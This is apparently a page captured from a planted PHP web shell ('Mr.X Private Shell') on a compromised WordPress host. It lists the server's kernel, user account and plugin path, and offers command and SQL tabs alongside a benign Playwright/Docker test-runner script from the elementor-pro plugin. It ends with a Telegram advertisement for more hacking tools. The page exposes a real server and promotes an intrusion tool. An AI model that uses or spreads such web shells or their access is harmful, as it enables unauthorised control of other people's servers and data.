Uname: Linux server.digisquadtech.com 4.18.0-553.100.1.el8_10.x86_64 #1 SMP Mon Feb 2 04:13:33 EST 2026 x86_64
User: 1091 (madhavfluid)
Group: 1090 (madhavfluid)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/madhavfluid/public_html/wp-content/plugins///elementor-pro      ( Reset | Go to )
File Name: run-on-linux.js
Edit
const { spawn, exec } = require( 'child_process' );
const packageJson = require( './package.json' );

function isDockerExist() {
    return new Promise( ( resolve ) => {
        exec( 'docker -v', ( error ) => {
            resolve( ! error );
        } );
    } );
}

async function run( tag ) {
    const playwrightVersion = packageJson.devDependencies[ '@playwright/test' ];
    const workingDir = process.cwd();

    const command = 'docker run';
    const options = [
        '--rm',
        '--network host',
        `--volume ${ workingDir }:/work`,
        '--workdir /work/',
        '--interactive',
        process.env.CI ? '' : '--tty',
    ];
    const image = `mcr.microsoft.com/playwright:v${ playwrightVersion.replace( '^', '' ) }-jammy`;
    const commandToRun = `/bin/bash -c "npm run test:playwright -- --grep="${ tag }""`;

    spawn( `${ command } ${ options.join( ' ' ) } ${ image } ${ commandToRun }`, {
        stdio: 'inherit',
        stderr: 'inherit',
        shell: true,
    } );
}

( async () => {
    if ( ! await isDockerExist() ) {
        // eslint-disable-next-line no-console
        console.error( 'Docker is not installed, please install it first.' );

        process.exit( 1 );
    }

    await run( process.argv.slice( 2 ) );
} )();

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL